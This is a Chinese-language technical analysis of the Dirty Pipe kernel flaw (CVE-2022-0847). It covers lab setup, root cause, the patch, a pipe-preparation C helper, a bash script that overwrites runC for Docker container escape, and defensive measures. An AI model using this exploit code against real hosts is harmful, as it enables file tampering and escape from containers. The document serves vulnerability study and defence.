从脏管道(CVE-2022-0847)到docker逃逸
字数 1210 2025-08-25 22:58:28
Linux内核Dirty Pipe漏洞(CVE-2022-0847)分析与利用
漏洞概述
CVE-2022-0847,又称"Dirty Pipe"漏洞,是Linux内核中的一个安全漏洞,允许低权限用户覆写任意只读文件。该漏洞存在于Linux内核的管道(pipe)机制中,影响5.8及以上版本的内核。
漏洞环境搭建
内核源码获取
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.11.1.tar.gz
内核编译配置
make x86_64_defconfig
make menuconfig
需要开启以下调试选项:
[*] Compile the kernel with debug info
[*] Generate dwarf4 debuginfo
[*] Provide GDB scripts for kernel debugging
文件系统准备
sudo mkfs.ext4 -F stretch.img
QEMU启动命令
sudo qemu-system-x86_64 \
-s \
-m 2G \
-smp 2 \
-kernel ./arch/x86/boot/bzImage \
-append "console=ttyS0 earlyprintk=serial" \
-hda ./stretch.img \
-hdb fat:rw:/path/to/share \
-nographic \
-initrd initramfs.img \
-pidfile vm.pid \
2>&1 | tee vm.log
漏洞原理分析
管道机制基础
Linux管道(pipe)是进程间通信的主要手段之一,设计为环形数据结构,通常有16个page(每个page通常4KB)。当单次写入未满一个page时,pipe buffer会设置PIPE_BUF_FLAG_CAN_MERGE(0x10)标志,表示该页面可继续写入。
漏洞根源
漏洞存在于copy_page_to_iter_pipe()和push_pipe()函数中,它们没有正确初始化buf->flags。当通过splice()将文件page链接到pipe时,如果该page的PIPE_BUF_FLAG_CAN_MERGE标志被保留,后续写入会直接修改文件page,导致非法写入。
补丁分析
补丁为上述两个函数添加了buf->flags的初始化操作,确保标志位被正确清除。
漏洞利用分析
利用步骤
- 准备管道:使管道具有
PIPE_BUF_FLAG_CAN_MERGE属性 - 关联文件page:使用
splice()将目标文件page与pipe关联 - 写入数据:通过pipe写入修改文件内容
关键代码分析
static void prepare_pipe(int p[2]) {
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
// 填满管道
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
// 清空管道
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
}
利用限制
- 第一个字节不可修改
- 单次写入不能超过4KB
- 只能覆盖内容,不能调整文件大小
- 修改仅影响内存页,不影响磁盘存储
Docker逃逸利用
容器逃逸原理
由于Docker容器与宿主机共享内核,内核漏洞可能影响容器安全。Docker使用只读层叠加文件系统,但该漏洞可以绕过只读限制。
两种逃逸方式
1. 利用CAP_DAC_READ_SEARCH能力
- 该能力允许调用
open_by_handle_at获取主机文件描述符 - 结合Dirty Pipe漏洞可修改主机文件
2. 通过runc实现逃逸
- 容器启动时
/proc/self/exec与主机的runc二进制关联 - 通过覆写该文件描述符实现逃逸
- 修复方案是将
/proc/self/exec挂载为只读
runC逃逸利用脚本
#!/bin/bash
echo '#!/proc/self/exe' > /bin/sh
echo "Waiting for runC to be executed in the container"
while true; do
runC_pid=""
while [ -z "$runC_pid" ]; do
runC_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}')
done
/exp /proc/${runC_pid}/exe
done
防御措施
- 及时更新内核到已修复版本
- 限制容器能力,特别是
CAP_DAC_READ_SEARCH - 监控容器内可疑行为
- 使用安全增强型Linux(SELinux)或AppArmor
总结
Dirty Pipe漏洞展示了内核漏洞如何导致容器逃逸的可能性。尽管容器提供了隔离机制,但共享内核的设计意味着内核级漏洞仍可能危及容器安全。管理员应保持内核更新,并严格控制容器权限。